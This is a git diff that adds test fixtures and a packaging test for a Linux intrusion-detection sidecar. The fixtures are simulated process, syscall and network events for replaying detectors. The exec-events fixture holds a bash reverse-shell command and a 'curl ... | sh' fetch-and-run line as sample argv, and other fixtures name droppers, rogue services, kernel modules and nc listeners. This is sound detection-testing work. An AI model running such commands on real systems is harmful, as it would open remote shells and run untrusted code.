{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]}, + {"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]}, + {"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]}, + {"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]} +] diff --git a/tests/fixtures/go/exec-events.json b/tests/fixtures/go/exec-events.json new file mode 100644 index 0000000..0dc0757 --- /dev/null +++ b/tests/fixtures/go/exec-events.json @@ -0,0 +1,50 @@ +[ + { + "pid": 1001, + "ppid": 1, + "uid": 1000, + "parent_comm": "bash", + "filename": "/tmp/.x/dropper", + "argv": [] + }, + { + "pid": 1002, + "ppid": 1001, + "uid": 1000, + "parent_comm": "bash", + "filename": "/bin/bash", + "argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"] + }, + { + "pid": 1003, + "ppid": 55, + "uid": 33, + "parent_comm": "nginx", + "filename": "/bin/sh", + "argv": ["-c", "id"] + }, + { + "pid": 1004, + "ppid": 1000, + "uid": 1000, + "parent_comm": "bash", + "filename": "/bin/sh", + "argv": ["-c", "curl http://example.invalid/x | sh"] + }, + { + "pid": 1005, + "ppid": 99, + "uid": 1000, + "parent_comm": "cron", + "filename": "/opt/custom/tool", + "argv": ["danger", "now"] + }, + { + "pid": 1006, + "ppid": 1, + "uid": 1000, + "parent_comm": "bash", + "filename": "/usr/bin/ls", + "argv": ["-la"] + } +] diff --git a/tests/fixtures/go/exec-rules-config.toml b/tests/fixtures/go/exec-rules-config.toml new file mode 100644 index 0000000..9d10560 --- /dev/null +++ b/tests/fixtures/go/exec-rules-config.toml @@ -0,0 +1 @@ +exec_rules_file = "../tests/fixtures/go/exec-rules.toml" diff --git a/tests/fixtures/go/exec-rules.toml b/tests/fixtures/go/exec-rules.toml new file mode 100644 index 0000000..0af9a63 --- /dev/null +++ b/tests/fixtures/go/exec-rules.toml @@ -0,0 +1,9 @@ +[[exec_rules]] +sid = 190001 +msg = "Custom replay rule" +severity = "medium" +classtype = "custom-exec" +path_prefixes = ["/opt/custom/"] +parent_comm = ["cron"] +argv_regex = 'danger\s+now' +parent_exclude = ["sshd"] diff --git a/tests/fixtures/go/host-events.json b/tests/fixtures/go/host-events.json new file mode 100644 index 0000000..b91816f --- /dev/null +++ b/tests/fixtures/go/host-events.json @@ -0,0 +1,14 @@ +[ + {"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510}, + {"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444}, + {"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444}, + {"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"}, + {"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"}, + {"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"}, + {"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"}, + {"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"}, + {"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"}, + {"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"}, + {"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443}, + {"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444} +] diff --git a/tests/fixtures/go/mixed-events.jsonl b/tests/fixtures/go/mixed-events.jsonl new file mode 100644 index 0000000..aaf3a49 --- /dev/null +++ b/tests/fixtures/go/mixed-events.jsonl @@ -0,0 +1,3 @@ +{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]} +{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"} +{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"} diff --git a/tests/fixtures/go/process-detectors.json b/tests/fixtures/go/process-detectors.json index e4ee991..6e9c3f4 100644 --- a/tests/fixtures/go/process-detectors.json +++ b/tests/fixtures/go/process-detectors.json @@ -1,5 +1,13 @@ { "ld_preload": "/tmp/global.so\n/opt/second.so", + "listener_baseline": [], + "suid_baseline": ["/usr/bin/sudo"], + "suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"], + "persist_since": 100, + "persistence_files": {"/etc/cron.d/evil": 101}, + "first_seen_initialized": true, + "first_seen_public_destinations": {"bash": ["1.1.1.1:443"]}, + "first_seen_listener_ports": {"nc": ["22"]}, "processes": [ {"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}}, {"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}}, @@ -25,5 +33,6 @@ {"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"}, {"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"}, {"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"} + ,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"} ] } diff --git a/tests/fixtures/go/syscall-events.json b/tests/fixtures/go/syscall-events.json new file mode 100644 index 0000000..ca8309e --- /dev/null +++ b/tests/fixtures/go/syscall-events.json @@ -0,0 +1,10 @@ +[ + {"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]}, + {"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]}, + {"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"}, + {"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]}, + {"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]}, + {"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]}, + {"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]}, + {"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]} +] diff --git a/tests/test_go_sidecar_packaging.py b/tests/test_go_sidecar_packaging.py new file mode 100644 index 0000000..9ca237a --- /dev/null +++ b/tests/test_go_sidecar_packaging.py @@ -0,0 +1,53 @@ +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Regression checks for the opt-in Go validation service.""" + +from pathlib import Path +import unittest + + +ROOT = Path(__file__).resolve().parents[1] +UNIT = ROOT / "systemd" / "enodia-sentinel-go-sidecar.service" + + +class GoSidecarPackagingTests(unittest.TestCase): + def test_unit_is_isolated_and_opt_in(self) -> None: + text = UNIT.read_text(encoding="utf-8") + self.assertIn("ExecStart=/usr/bin/env enodia-sentinel-go ", text) + self.assertIn("--state-dir /var/lib/enodia-sentinel-go", text) + self.assertIn("--event-log /var/lib/enodia-sentinel-go/events.jsonl", text) + self.assertIn("--event-log-max-bytes 67108864", text) + self.assertIn("--snapshot-dir /var/lib/enodia-sentinel-go", text) + self.assertIn("--ebpf-exec --ebpf-syscall", text) + self.assertIn("StandardOutput=journal", text) + self.assertIn("InaccessiblePaths=-/var/log/enodia-sentinel", text) + self.assertNotIn("Alias=enodia-sentinel.service", text) + + def test_unit_keeps_required_hardening(self) -> None: + text = UNIT.read_text(encoding="utf-8") + for directive in ( + "ProtectSystem=strict", + "ProtectHome=read-only", + "NoNewPrivileges=yes", + "MemoryDenyWriteExecute=yes", + "StateDirectory=enodia-sentinel-go", + "LimitMEMLOCK=infinity", + "Type=notify", + "NotifyAccess=main", + "PrivateDevices=yes", + "RestrictAddressFamilies=AF_UNIX AF_NETLINK", + "SystemCallArchitectures=native", + ): + with self.subTest(directive=directive): + self.assertIn(directive, text) + + def test_install_requires_explicit_go_target(self) -> None: + makefile = (ROOT / "Makefile").read_text(encoding="utf-8") + default_install = makefile.split("\ninstall-go:", 1)[0] + self.assertNotIn("enodia-sentinel-go-sidecar.service", default_install) + self.assertIn("install-go: build-go", makefile) + self.assertIn("enable-go:", makefile) + + +if __name__ == "__main__": + unittest.main()